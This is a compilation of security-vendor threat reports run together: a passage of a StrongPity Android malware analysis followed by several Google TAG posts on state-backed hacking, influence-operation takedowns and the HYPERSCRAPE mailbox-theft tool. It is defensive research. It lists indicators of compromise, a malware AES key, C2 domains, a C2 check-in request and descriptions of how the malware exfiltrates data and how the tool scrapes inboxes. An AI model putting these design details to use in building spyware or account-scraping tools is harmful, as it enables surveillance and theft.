We determined these samples to be similar because all of them (except for the last sample) were also repackaged from normal applications and had similar malicious code inserted.


Date of submission  SHA256  Identified C&C servers  Additional Details  August 2, 2019  374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb  upeg-system-app[.]com  Likely repacked from Kingoroot.


June 8, 2020  be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3  networktopologymaps[.]com  Likely repacked from Snaptube, though It is not the same as 596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d.  June 8, 2020  a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628  networktopologymaps[.]com  Likely repacked from net[.]cybertik[.]wifi (the original app could be downloaded from the Yemeni website, cybertik[.]net).


June 13, 2021  596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d  upeg-system-app[.]com  Likely repacked from Snaptube.


January 1, 2021  75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b  upn-sec3-msd[.]com  This is likely a testing sample because it provides buttons to test functions.


This sample also contains some new features that we haven’t seen in other samples.


This shows that the actor is actively involved in the development of APK versions of the backdoor.


Table 1. Similar malicious samples found on VirusTotal     The sample 75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b  serves as the key attribution factor and is the main link to the StrongPity threat actor, because it communicates with a C&C server that was previously identified by several research teams as infrastructure used by the group.  Tools, tactics, and procedures on Windows


There are no known public reports of StrongPity using malicious Android applications in their attacks at the time of writing.


In order to strengthen our confidence in the accuracy of our attribution to StrongPity, we decided to further examine some of their samples that were used to target Microsoft Windows platforms and see if we could identify similar tools, tactics, and procedures (TTPs) in their actions.


Just as we have seen with the Android apps, the StrongPity group favors repacking benign installers to produce trojanized versions of these applications.


Likewise, the main function of these backdoors is to search, harvest, and exfiltrate files from the victim’s computers.


Take, for example, the following sample:  48f67be806b4e823280f03ee5512ffd58deb6f37ecc80842265d4e8d2ca30055.


The sample first drops a file called "TrustedInstaller.exe" to <DIR>/AppData/Local/Temp and then executes it.


This dropped file is a clean WinRAR installer.


Figure 10. Code used in the file “TrustedInstaller.exe”     It then creates <DIR>/AppData/Local/Temp/lang_be29c9f3-83we to drop malicious files and execute them.


Figure 11. Code showing the creation of the directory


If we examine another StrongPity sample (12818a96211b7c47863b109be63e951075cf6a41652464a584dd2f26010f7535), the logic is similar — it drops a normal installer into the Temp directory and creates a directory for dropped malicious files.


Here are three notable similarities between the Windows sample and the Android sample:


1.    They all disguised as normal apps by utilizing the original clean applications — the Android sample repacks the original one into a trojanized version, while the Windows sample uses a trojanized installer packed with the original program.


2.    Both collect and exfiltrate files from the infected device.


3.    Both are highly modular.


The Windows sample has a standalone Exfiltration and File Search module, a feature that could also be seen in the latest test Android sample.


Possible connections to StrongPity


We found several clues that link the malicious Android samples with the StrongPity threat actor.


The sample 74582c3d920332117541a9bbc6b8995fbe7e1aff communicates with the URL  https://www.upn-sec3-msd[.]com/ProxyServer/service/.


The domain name “upn-sec3-msd[.]com” was mentioned in another StrongPity report.


The domain naming pattern and domain acquisition techniques are quite similar.


For example, the domain names used by StrongPity in 2020 have a domain naming pattern similar to the domains used by the identified Android samples.


One of the domain names, networktopologymaps[.]com, was likely bought when registration at Gandi expired.


The domain was acquired via the Porkbun network registrar.


This is similar to the domain hostoperationsystems[.]com, which was previously mentioned in the Talos report.


This domain was also acquired via Porkbun and features a comparable domain naming pattern.


Another notable point of correlation to StrongPity is the list of file extensions, which we have seen in Android samples.


A similar list of the file extensions for the files is presented in variants of the trojan for Windows systems.


For example, one of the samples that we had examined earlier, gathers files with the following extensions:  .7z .asc .dgs .doc .docx .gpg .pdf .pgp .ppt .pptx .rar .rjv .rms .rtf .sft .tc .txt .xls .xlsx  As we previously mentioned, there are no public reports of the StrongPity threat actor using malicious Android applications in the attack.


However, we examined the trojan code-embedding techniques as well as the trojan functionality of the malicious code written by the same threat actor for Windows platforms, and we have identified some similar patterns.


This leads us to believe that these could belong to the same threat actor.


StrongPity actively develops new malicious android apps


We believe that the StrongPity Threat actor is actively developing backdoors for Android.


Based on the test sample that we have identified, we can see that the threat actor attempts several techniques to lure potential victims: repackaged applications, compromised websites, and fake variants of popular applications.


Based on the additional functionalities that we identified in the fake Samsung security service application (75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b), we think that among the APK files that we had identified, the repackaged applications are bundled with the first version of the Android trojan, while the fake application could be a work in progress for the next version of the tool.


In the second version, we observed the threat actor developed and included some additional components and as well as added support for more message types.


The following table shows the types that the threat actor has defined.


Message type  Details  MSG_ADD_MODULE  Add a new module  MSG_GET_MODULE  Get the module instance  MSG_DEL_MODULE  Delete module file under <DIR>/.android/.li/<module name>  MSG_DEL_APK  Delete the APK file under the download directory  MSG_START_MODULES      Table 2.


Message types defined by the threat actor


In this version, MSG_COLLECT is no longer present — we think they replaced it with MSG_START_MODULES, a message used to read all module names from the shared preference, and start/initialize them one by one.


We were not able to get access to these modules, but based on some of the code functionality that we observed, we believe that these modules are designed to collect data from the victim’s devices and write the collected data into a local SQLite db data file.


However, we were not able to find any of these modules in the wild.


There are also several other key differences between version 1 and version 2 of the trojan:


The message Handler for heartbeat message in version 2 is now split into two messages: heartbeat and taken_config.


Either of these messages can receive a response from the C&C server and decrypt the response to update the local configuration, similarly to the version 1.


Version 2 uses different AES encryption keys:  key("aaaanothingimpossiblebbb"), and AES IV("aaaanothingimpos") ScreenReceiver class is added to the second version of the trojan.


The purpose of this Receiver is to start the malicious service via Screen_On and Screen_Off events.


Version 2 has an ability to execute “su” command, if the device is rooted.


The main usage of the root privilege here is that it could grant permissions silently.


Such permissions include accessibility, notification and other.


However, we did not find any evidence that the sample would attempt to root the device.


Two components were added in version 2 for accessibility and notification.


Version 2 uses SQLite to store collected data.


Furthermore, it no longer uses ZIP.


In Version 2, the extra modules used in “MSG_START_MODULES” are downloaded from the C&C server via either the heartbeat or taken_config message.


It’s possible that these modules are decompressed as part of the response into <DIR>/.android/.li and consequentially executed.


Conclusion


This investigation has provided evidence to attribute the Android malware sample, which was posted on the Syrian e-Gov website, to the StrongPity threat group.


We were also able to identify additional Android trojan files and correlate these malicious Android applications with existing public reports based on their similarities to the threat actor’s TTPs and network infrastructure they used.


Although there are no previously known malicious Android applications attributed to the StrongPity group, we strongly believe that the threat actor is in the process of actively developing new malicious components that can be used to target Android platforms.


We believe that the threat actor is exploring multiple ways of delivering the applications to potential victims, such as using fake apps and using compromised websites as watering holes to trick users into installing malicious applications.


Typically, these websites would require its users to download the applications directly onto their devices.


In order to do so, these users would be required to enable installation of the applications from “unknown sources” on their devices.


This bypasses the “trust-chain” of the Android ecosystem and makes it easier for an attacker to deliver additional malicious components.


Indicators of Compromise (IOCs) Files


SHA256  Description


Detection  fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7


The trojanized version of the Syria eGov Application  AndroidOS_StrongPity.HRX  374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb  Sample repackaged from Kingoroot  AndroidOS_StrongPity.HRX  a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628                                                                                Sample repackaged from net.cybertik.wifi  AndroidOS_StrongPity.HRX  be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3  Repackaged from Snaptube  AndroidOS_StrongPity.HRX  596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d  Repackaged from Snaptube  AndroidOS_StrongPity.HRX  75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b    Fake Samsung Security Service sample  AndroidOS_StrongPity.HRX    Network C&C Infrastructure  SHA256  Domain  Detection  fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7  Internetwideband[.]com  AndroidOS_StrongPity.HRX  374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb  upeg-system-app[.]com  AndroidOS_StrongPity.HRX  a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628                                                                                networktopologymaps[.]com  AndroidOS_StrongPity.HRX  be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3  networktopologymaps[.]com  AndroidOS_StrongPity.HRX  596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d  upeg-system-app[.]com  AndroidOS_StrongPity.HRX  75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b    upn-sec3-msd[.]com  AndroidOS_StrongPity.HRX           Tags  APT & Targeted Attacks | Research | Mobile | Articles, News, Reports


On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.


Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.


Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.


Generally, 2020 has been dominated by COVID-19.


The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.


Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.


We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.


And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.


As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.


The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.


The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.


The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.


To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.


APP was designed specifically for high-risk accounts.


Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.


Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.


In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.


When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.


We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.


We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).


Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.


Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.


These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.


We’ll also share additional removal actions from April and May in the Q2 Bulletin.


Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.


We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.


It was last updated on May 27, 2020.


We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.


We received leads from Graphika that supported us in this investigation.


We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.


The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.


We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.


This campaign was consistent with similar findings reported by Facebook.


We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.


The campaign was sharing messages in English supportive of Qatar.


We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.


The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.


This campaign was consistent with similar findings reported by Twitter.


We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.


The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.


We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.


The domestic campaign was posting pro-Serbian political content.


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.


It was last updated on May 12, 2022.


We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.


In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.


On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”


The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.


Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.


In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.


The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.


On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.


We have reported all identified social media profiles to the platforms to allow them to take appropriate action.


At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.


Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.


Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.


We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.


Fake Security Company Website:     LinkedIn Profiles:    Email:    Attacker Owned Domains:        Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.


The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.


We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.


In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.


They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.


Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.


While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.


On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.


In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.


Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.


After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”


The actors have been observed targeting specific security researchers by a novel social engineering method.


After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.


Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.


The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.


An example of the VS Build Event can be seen in the image below.


In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.


In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.


At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.


At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.


Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.


We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.


These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.


We are providing a list of known accounts and aliases below.


If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.


To date, we have only seen these actors targeting Windows systems as a part of this campaign.


If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.


Host IOCs Registry Keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update File Paths C:\Windows\System32\Nwsapagent.sys C:\Windows\System32\helpsvc.sys C:\ProgramData\USOShared\uso.bin C:\ProgramData\VMware\vmnat-update.bin C:\ProgramData\VirtualBox\update.bin


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.


It was last updated on January 26, 2021.


We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.


We received leads from Facebook that supported us in this investigation.


We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.


This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).


This campaign was consistent with similar findings reported by Facebook.


We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.


This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.


We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.


This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.


We received leads from the FBI that supported us in this investigation.


We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.


This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.


We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.


We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.


This domestic campaign posted content supporting the Indonesian government.


We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.


This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.


We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.


We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.


This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.


This campaign was consistent with similar findings reported by Facebook.


We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.


We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.


This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.


We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.


This campaign uploaded content in Russian critical of the Ukrainian government.


We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.


The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.


We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.


This campaign uploaded content in Arabic about current events in the Middle East and North Africa.


We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.


This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.


The campaign targeted the Central African Republic and Mali.


We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.


This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.


We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.


A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S.


We received leads from Graphika and Fireye that supported us in this investigation.


These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.


Major events like elections and COVID-19 present opportunities for threat actors, and Google’s Threat Analysis Group (TAG) is working to thwart these threats and protect our products and the people using them.


As we head into the U.S. election, we wanted to share an update on what we’re seeing and how threat actors are changing their tactics.


In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.


We haven’t seen any evidence of such attempts being successful.


The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.


As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.


One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub.


The malware was a python-based implant using Dropbox for command and control.


It would allow the attacker to upload and download files as well as execute arbitrary commands.


Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.


In one example, attackers impersonated McAfee.


The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.


When we detect that a user is the target of a government-backed attack, we send them a prominent warning.


In these cases, we also shared our findings with the campaigns and the Federal Bureau of Investigation.


This targeting is consistent with what others have subsequently reported.


Overall, we’ve seen increased attention on the threats posed by APTs in the context of the U.S. election.


U.S government agencies have warned about different threat actors, and we’ve worked closely with those agencies and others in the tech industry to share leads and intelligence about what we’re seeing across the ecosystem.


This has resulted in action on our platforms, as well as others.


Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.


We’ve been sharing actions against coordinated influence operations in our quarterly TAG bulletin (check out our Q1, Q2 and Q3 updates).


To date, TAG has not identified any significant coordinated influence campaigns targeting, or attempting to influence, U.S. voters on our platforms.


Since last summer, TAG has tracked a large spam network linked to China attempting to run an influence operation, primarily on YouTube.


This network has a presence across multiple platforms, and acts by primarily acquiring or hijacking existing accounts and posting spammy content in Mandarin such as videos of animals, music, food, plants, sports, and games.


A small fraction of these spam channels will then post videos about current events.


Such videos frequently feature clumsy translations and computer-generated voices.


Researchers at Graphika and FireEye have detailed how this network behaves—including its shift from posting content in Mandarin about issues related to Hong Kong and China’s response to COVID-19, to including a small subset of content in English and Mandarin about current events in the U.S. (such as protests around racial justice, the wildfires on the West Coast, and the U.S. response to COVID-19).


As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.


In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.


This summer, we and others observed threat actors from China, Russia and Iran targeting pharmaceutical companies and researchers involved in vaccine development efforts.


In September, we started to see multiple North Korea groups shifting their targeting towards COVID-19 researchers and pharmaceutical companies, including those based in South Korea.


One campaign used URL shorteners and impersonated the target’s webmail portal in an attempt to harvest email credentials.


In a separate campaign, attackers posed as recruiting professionals to lure targets into downloading malware.


In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.


While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.


For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.


Addressing state-sponsored DDoS attacks requires a coordinated response from the internet community, and we work with others to identify and dismantle infrastructure used to conduct attacks.


Going forward, we’ll also use this blog to report attribution and activity we see in this space from state-backed actors when we can do so with a high degree of confidence and in a way that doesn’t disclose information to malicious actors.


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2020.


It was last updated on October 16, 2020.


We terminated 1 advertising account and 7 YouTube channels as part of our actions against a coordinated influence operation linked to Ecuador.


The campaign was linked to the PR firm Estraterra, and posted content in Spanish about former Ecuador government employees.


These findings are consistent with similar findings reported by Facebook.


We terminated 299 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.


A very small subset uploaded content in Chinese about COVID-19 and current events in Hong Kong.


These findings are consistent with our previous reports in the Q2 TAG bulletin.


We terminated 1,846 YouTube channels and 5 blogs as part of our ongoing investigation into coordinated influence operations linked to China.


A small subset of the channels uploaded content in English about current events in Hong Kong and the U.S. response to COVID-19.


We terminated 8 YouTube channels as part of our actions against a coordinated influence operation linked to Yemen.


This domestic campaign posted content in Arabic in support of the Yemeni government.


This campaign was consistent with similar findings reported by Facebook.


We terminated 4 YouTube channels as part of our actions against a coordinated influence operation.


The campaign was linked to a U.S.-based PR firm, CLS Strategies, and posted content in Spanish about Mexican elections.


We terminated 1,628 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


These channels mostly uploaded spammy content in English and Chinese about music, entertainment, and lifestyle.


A small subset of the channels uploaded content in English about current events in the U.S. and the U.S. response to COVID-19.


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 of 2020.


It was last updated on August 5, 2020.


We terminated 16 YouTube channels, 1 advertising account and 1 AdSense account as part of our ongoing investigation into coordinated influence operations linked to Iran.


The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and posted content in Arabic related to the U.S. response to COVID-19 and content about Saudi-American relations.


We received leads from FireEye and Graphika that supported us in this investigation.


We terminated 15 YouTube channels and 3 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.


The campaign posted content in English and Russian about the EU, Lithuania, Ukraine, and the U.S., similar to the findings in a recent Graphika report called Secondary Infektion.


We received leads from Graphika that supported us in this investigation.


We terminated 7 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


The campaign posted content in Russian, German, and Farsi about Russian and Syrian politics and the U.S. response to COVID-19.


We terminated 186 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


These channels mostly uploaded spammy, non-political content, but a small subset posted political content primarily in Chinese similar to the findings in a recent Graphika report, including content related to the U.S. response to COVID-19.


We terminated 1,098 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


We terminated 47 YouTube channels and 1 AdSense account as part of our ongoing investigation into coordinated influence operations linked to Russia.


The campaign posted content in a coordinated manner primarily in Russian about domestic Russian and international policy issues.


This campaign was consistent with similar findings reported by Facebook.


We terminated 1,312 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


These channels mostly uploaded spammy, non-political content, but a subset posted political content primarily in Chinese similar to the findings in a recent Graphika report, including content related to racial justice protests in the U.S. This campaign was consistent with similar findings reported by Twitter.


We terminated 17 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


The campaign posted comments in Russian in a coordinated manner under a small set of Russian language videos.


This campaign was consistent with similar findings reported by Twitter.


We banned 3 Play Developers and terminated 1 advertising account as part of our actions against a coordinated influence operation.


The campaign was posting news content in English and French, targeting audiences in Africa.


We found evidence of this campaign being tied to the PR company Ureputation based in Tunisia.


As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.


For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.


Now, we’re shining light on a new tool of theirs.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


We have seen it deployed against fewer than two dozen accounts located in Iran.


The oldest known sample is from 2020, and the tool is still under active development.


We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.


This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.


Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.


After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.


Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.


The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.


We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.


In the version tested, the C2 was unobfuscated and stored as a hardcoded string.


In later versions it was obfuscated with Base64.


GET http://{C2}/Index.php?Ck=OK HTTP/1.1


Host: {C2}


Accept-Encoding: gzip Connection: Keep-Alive


